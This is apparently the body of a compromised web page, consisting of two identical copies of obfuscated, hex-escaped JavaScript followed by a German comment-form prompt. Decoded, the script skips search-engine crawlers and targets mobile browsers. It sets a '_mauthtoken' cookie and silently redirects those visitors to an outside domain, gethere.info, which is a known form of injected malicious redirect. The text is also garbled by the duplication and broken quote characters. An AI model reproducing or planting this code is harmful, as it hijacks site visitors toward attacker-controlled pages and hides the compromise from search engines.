_0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

HINTERLASSEN SIE EINE ANTWORT

Please enter your comment!
Please enter your name here